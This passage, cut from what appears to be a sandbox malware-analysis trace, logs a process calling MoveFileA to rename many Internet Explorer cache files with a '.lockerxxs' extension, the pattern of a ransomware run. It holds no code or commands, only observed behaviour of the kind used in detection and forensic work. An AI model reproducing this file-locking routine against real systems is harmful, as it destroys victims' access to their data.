Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdXJj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedxjj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdXJj[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedxjj[1].jpg.lockerxxs")) returned 1 [0081.928] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeP0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeep0k[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeP0k[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeep0k[1].jpg.lockerxxs")) returned 1 [0081.932] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeetuf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeTuf[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeetuf[1].jpg.lockerxxs")) returned 1 [0081.938] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfE6e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefe6e[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfE6e[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefe6e[1].jpg.lockerxxs")) returned 1 [0081.943] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefjut[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfjuT[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefjut[1].jpg.lockerxxs")) returned 1 [0081.948] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEg9QV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeg9qv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEg9QV[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeg9qv[1].jpg.lockerxxs")) returned 1 [0081.951] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgGSl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeggsl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgGSl[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeggsl[1].jpg.lockerxxs")) returned 1 [0081.955] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgiYw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegiyw[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgiYw[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegiyw[1].jpg.lockerxxs")) returned 1 [0081.959] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegjfz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgJfz[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegjfz[1].jpg.lockerxxs")) returned 1 [0081.964] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgqtY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegqty[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgqtY[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegqty[1].jpg.lockerxxs")) returned 1 [0081.968] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegsz3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgsz3[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegsz3[1].jpg.lockerxxs")) returned 1 [0081.976] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[1].jpg.lockerxxs")) returned 1 [0081.980] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[2].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[2].jpg.lockerxxs")) returned 1 [0082.016] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[1].jpg.lockerxxs")) returned 1 [0082.020] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[2].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[2].jpg.lockerxxs")) returned 1 [0082.025] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgyIm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegyim[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgyIm[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegyim[1].jpg.lockerxxs")) returned 1 [0082.029] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBg3ODX[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbg3odx[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBg3ODX[2].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbg3odx[2].png.lockerxxs")) returned 1 [0082.032] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBiyCq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbiycq[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBiyCq[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbiycq[1].png.lockerxxs")) returned 1 [0082.035] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBn4lUU[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbn4luu[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBn4lUU[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbn4luu[1].png.lockerxxs")) returned 1 [0082.039] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBnMKeN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbnmken[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBnMKeN[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbnmken[1].png.lockerxxs")) returned 1 [0082.043] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBwGan9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbwgan9[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBwGan9[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbwgan9[1].jpg.lockerxxs")) returned 1 [0082.046] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBz3ebk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbz3ebk[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBz3ebk[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbz3ebk[1].png.lockerxxs")) returned 1 [0082.050] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\benefits-5-mobile[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\benefits-5-mobile[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\benefits-5-mobile[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\benefits-5-mobile[1].png.lockerxxs")) returned 1 [0082.058] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg.lockerxxs")) returned 1 [0082.061] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt.lockerxxs")) returned 1 [0082.066] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\fallback_728x90[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\fallback_728x90[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\fallback_728x90[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\fallback_728x90[1].jpg.lockerxxs")) returned 1 [0082.070] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ie8[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ie8[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ie8[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ie8[1].txt.lockerxxs")) returned 1 [0082.075] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\Passport[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\passport[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\Passport[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\passport[1].htm.lockerxxs")) returned 1 [0082.079] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\postmessageRelay[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\postmessagerelay[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\postmessageRelay[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\postmessagerelay[1].htm.lockerxxs")) returned 1 [0082.084] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\search[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\search[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\search[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\search[1].htm.lockerxxs")) returned 1 [0082.095] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA3e1oO[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa3e1oo[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA3e1oO[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa3e1oo[1].png.lockerxxs")) returned 1 [0082.099] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA429NP[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa429np[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA429NP[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa429np[1].png.lockerxxs")) returned 1 [0082.102] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA42pjY[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa42pjy[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA42pjY[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa42pjy[1].png.lockerxxs")) returned 1 [0082.106] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA61AKN[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa61akn[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA61AKN[2].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa61akn[2].png.lockerxxs")) returned 1 [0082.109] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA6KizP[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa6kizp[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA6KizP[2].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa6kizp[2].png.lockerxxs")) returned 1 [0082.113] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA7XCQ3[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa7xcq3[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA7XCQ3[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa7xcq3[1].png.lockerxxs")) returned 1 [0082.130] MoveFileA 